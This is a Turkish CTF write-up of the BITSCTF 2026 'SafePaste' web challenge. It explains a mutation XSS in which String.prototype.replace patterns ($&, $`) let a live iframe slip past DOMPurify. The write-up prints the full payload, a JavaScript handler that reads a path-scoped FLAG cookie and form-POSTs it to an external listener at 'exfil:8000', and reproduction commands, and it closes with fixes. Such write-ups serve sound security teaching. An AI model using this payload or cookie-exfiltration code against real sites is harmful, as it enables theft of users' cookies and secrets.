BITSCTF 2026 — SafePaste Writeup

Bir paste sitesi girdiyi DOMPurify ile temizleyip sonucu String.prototype.replace'e veriyor: $& ve $` replacement pattern'leri sanitizer'ı atlayarak canlı bir iframe sokuyor ve /hidden kapsamlı flag çerezi aynı origin'deki 404 frame üzerinden okunuyor.

6 dk okuma
ibrahimsql
1.025 kelime

BITSCTF 2026 — SafePaste

"SafePaste" (Web), yönetici botu bulunan küçük bir Express + TypeScript paste sitesi. README tek satır — "Yet another paste challenge?" — ve isim tam da şaka: kod DOMPurify çalıştırıp güvende olduğunu sanıyor. İşin ilginç tarafı işlemlerin sırası. Girdi temizleniyor, saklanıyor ve sonra String.prototype.replace("{paste}", content) ile sayfa şablonuna yerleştiriliyor. Bu iki adım birleşince bir mutation XSS çıkıyor: sanitizer bir dizeyi inceliyor, replace onu yeniden yazıyor ve ancak ondan sonra tarayıcı parse ediyor.

  • Etkinlik: BITSCTF 2026
  • Kategori: Web
  • Flag formatı: BITSCTF{...}

1. Uygulama

Tüm backend tek dosyada. İlgili rotalar:

TypeScript
app.post("/create", (req, res) => {
  const content = req.body.content;
  const id = uuidv4();
  const clean = DOMPurify.sanitize(content);   // (1) temizle
  pastes.set(id, clean);
  res.redirect(`/paste/${id}`);
});
 
app.get("/paste/:id", (req, res) => {
  const content = pastes.get(req.params.id);
  const html = pasteTemplate.replace("{paste}", content);   // (2) yerleştir
  res.type("html").send(html);
});
 
app.get("/hidden", (req, res) => {
  if (req.query.secret === ADMIN_SECRET) return res.send("Welcome, admin!");
  res.socket?.destroy();
});

Her yanıt bir CSP başlığı taşıyor:

Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; default-src 'self'

script-src inline'ı ve eval'i serbest bırakıyor; yani markup'ı bir kez ele geçirdikten sonra kod çalıştırmak zor değil — zor olan markup'ı DOMPurify'dan geçirmek. default-src 'self' harici bir host'a fetch/img/XHR'i engelliyor, ama form-action'ı kapsamıyor; bunu akılda tutmak gerek.

Bot flag çerezini ayarlayıp bildirilen URL'i ziyaret ediyor:

TypeScript
await page.setCookie({
  name: "FLAG", value: FLAG,
  domain: APP_HOST,          // "localhost"
  path: "/hidden",           // /hidden'a scope'lu
});
await page.goto(url, { waitUntil: "networkidle2", timeout: 5000 });
await new Promise((r) => setTimeout(r, 15000));

/report yalnızca hostname'i localhost ya da APP_HOST olan bir URL kabul ediyor; yani hedef SSRF değil, doğrudan uygulamanın kendi origin'inde, FLAG çerezinin bulunduğu yerde XSS.

2. Hata DOMPurify'da değil

İlk aklıma DOMPurify CVE'si geldi. Repodaki package-lock.json, birkaç 2026 rawtext/SAFE_FOR_XML bulgusunun etkilediği aralıkta olan dompurify@3.3.1'i pinliyor (CVE-2026-0540, CVE-2026-3126 / GHSA-h8r8-wccr-v5f2). Bir süre closer ve attribute numaralarını fuzz'ladım ve hiçbir şey çıkmadı; iki nedenden ötürü:

  1. Uygulama paste'i düz bir <div class="content">{paste}</div> içine sarıyor, <style>/<textarea>/<xmp> gibi bir rawtext sarmalayıcıya değil. Rawtext elementi CVE'leri uygulamanın hiç vermediği bir sarmalayıcı gerektiriyor.
  2. Dockerfile COPY package.json ./ sonra npm install yapıyor; yani repodaki lockfile yok sayılıyor ve konteyner güncel bir dompurify@3.4.17 çözüyor.

Asıl kusur uygulama seviyesinde ve sürümden bağımsız: String.prototype.replace, replacement string'i içindeki $&, $`, $' ve $$ karakterlerini özel sayıyor ve buradaki replacement string saldırgan kontrolünde. Sunucunun replace'e verdiği temizlenmiş değeri dökümleyince doğruluyorum:

CLEAN: "<img alt=\"$&amp;$`<iframe\tsrc=/hidden/lol\t\tonload=eval(atob('x'))\">\n"

$& ve $` hâlâ orada. Temizlikten sağ çıkıyorlar, çünkü sadece attribute metni gibiler.

3. Zincir

Tek bir paste payload'ın tamamı:

<img alt=$&$`<iframe&#9;src=/hidden/lol&#9;&#9;onload=eval(atob('...'))//>
</iframe>

Adım 1 — DOMPurify ne görüyor. <img>, alt tırnaksız. &#9; bir karakter referansı, boşluk değil; bu yüzden HTML tokenizer onları attribute metni olarak okumaya devam ediyor ve ilk gerçek > işareti <img>'i kapatıyor. DOMPurify böylece tek bir zararsız <img> elementi görüyor; tüm <iframe …> sadece alt değerinin parçası. Çıktıda <img alt="…"> olarak yeniden serileştiriyor, &→&amp; kaçırıyor, &#9;→ gerçek TAB'a çözüyor ve baştaki boş </iframe>'i atıyor. Üstteki CLEAN: dökümü tam bu dize — ne onload, ne iframe elementi; sanitizer'ın sıyıracağı hiçbir şey yok.

Adım 2 — replace onu yeniden yazıyor. Bu dizeyi yerleştirirken pattern'ler açılıyor: $& eşleşmeye ({paste}, yedi karakter) ve $` eşleşmeden önceki her şeye — yani tüm <!DOCTYPE html> … <div class="content"> ön ekine — dönüşüyor. Ön ek, dizenin ortasına yeniden giriyor ve içindeki " ile > karakterleri tarayıcının tokenizer durumunu çeviriyor. DOMPurify'ın bir alt attribute değeri olarak gördüğü şey, tarayıcıda, öznitelikleri çözülen TAB'larla ayrılmış canlı bir <iframe> haline geliyor. Tarayıcının parse ettiği son dize (kesit):

<div class="content"><img alt="{paste}amp;<!DOCTYPE html>
...
<div class="content"><iframe	src=/hidden/lol		onload=eval(atob('...'))//">

Adım 3 — sondaki tırnak. Element <img alt="…"> olarak yeniden serileştirildiği için DOMPurify'ın kapatan " işareti tam onload=eval(atob('...'))'den sonra düşüyor ve eval(atob('...'))" — bir JavaScript söz dizimi hatası — üretiyor. Bunu headless sayfa dökümüyle doğruladım; iframe canlıydı ve /hidden/lol'ü yüklüyordu, ama handler ölüyordu:

REQ: GET http://localhost:3000/hidden/lol
PAGEERROR: Invalid or unexpected token
INFO: { "iframeCount": 1, "iframes": [{ "src": "/hidden/lol", "onload": "eval(atob('CmNvbnN0…" }] }

Handler'ın sonuna // eklemek (onload=eval(atob('...'))//) başıboş tırnağı satır yorumuna çeviriyor (//") ve handler çalışıyor.

4. Path'e scope'lu, kendini yok eden bir çerezi okumak

Flag çerezi path=/hidden ile scope'lu. /hidden'a yanlış ya da eksik secret ile gidilince res.socket.destroy() çağrılıyor: bağlantı kopuyor ve tarayıcı, okuyamayacağın cross-origin bir hata dokümanı gösteriyor. Ama çerez, /hidden/ kapsamındaki her yola ekleniyor. /hidden/lol gibi bir yol kapsama uyuyor, düz 404 dönüyor ve hâlâ aynı origin — dolayısıyla bir iframe içinde yükleyince parent onun document.cookie'sini okuyabiliyor. Enjekte edilen onload'un çalıştırdığı handler:

JavaScript
const iframe = document.createElement('iframe');
iframe.src = '/hidden/lol';
iframe.onload = () => {
  const form = document.createElement('form');
  form.method = 'POST';
  form.action = 'http://exfil:8000/';
  const input = document.createElement('input');
  input.name = 'flag';
  input.value = frames[1].document.cookie;   // /hidden kapsamlı frame'den FLAG=...
  form.appendChild(input);
  document.body.appendChild(form);
  form.submit();
};
document.body.appendChild(iframe);

Sızdırma kanalı bilerek bir form POST. CSP default-src 'self'; bu connect-src/img-src'yi yönetiyor ama form-action'ı yönetmiyor; yani exfil'e fetch/Image() engelleniyor, POST ise geçiyor.

5. Yeniden üretmek

Servisi ( Dockerfile Chromium kuruyor ve PUPPETEER_EXECUTABLE_PATH=/usr/bin/chromium ayarlıyor, böylece konteyner içindeki bot arm64'te de çalışıyor) ve bir listener'ı ayağa kaldır:

Bash
docker network create tbnet
docker build -t safepaste ./SafePaste
docker run -d --name safe --network tbnet -p 5060:3000 \
  -e APP_HOST=localhost -e APP_PORT=3000 \
  -e FLAG='BITSCTF{fake_flag_for_local_testing}' \
  -e ADMIN_SECRET=fake_admin_secret safepaste
docker run -d --name exfil --network tbnet python:3.11-slim python -u /exfil.py

Paste'i oluştur ve bot'a bildir (botun kabul ettiği URL localhost ve bot konteynerin içinde çalışıyor):

create   -> 302 /paste/98c25ff5-e86a-46c3-bb34-c986e82e2d52
bot url  -> http://localhost:3000/paste/98c25ff5-e86a-46c3-bb34-c986e82e2d52
Admin will review your paste shortly...

Listener flag'i alıyor:

HIT POST / :: flag=FLAG%3DBITSCTF%7Bfake_flag_for_local_testing%7D

bu da flag=FLAG=BITSCTF{fake_flag_for_local_testing} olarak çözülüyor — aynı origin'deki frame'in okuduğu çerez değeri.

6. Düzeltmek

  • HTML'i String.prototype.replace ve saldırgan girdisiyle kurma. $ pattern'leri ($&, $`, $', $$) replacement'i yeniden yazar. Gerçek bir template engine kullan ya da pattern genişlemesini bir fonksiyon vererek kapat: template.replace('{paste}', () => content).
  • Sanitize'ı son doküman üzerinde yap, ara bir dize üzerinde değil. Dize sanitize'dan sonra mutasyona uğrarsa sanitizer'ın sonucu anlamsızlaşır.
  • Gizli bir çerezi, hata sayfası da döndüğün bir path'e scope'lama. /hidden/ altındaki her aynı-origin sayfa onu okuyabilir; FLAG adı yalnızca kullanıcıdan saklar, script'ten değil.

7. Flag

BITSCTF{fake_flag_for_local_testing}   # yerel çalıştırma; gerçek flag BITSCTF{...}
---
Bu yazıyı paylaş:
TwitterLinkedInFacebook

Ne düşünüyorsun?

Tepki bırakarak geri bildirim ver

İlgili Yazılar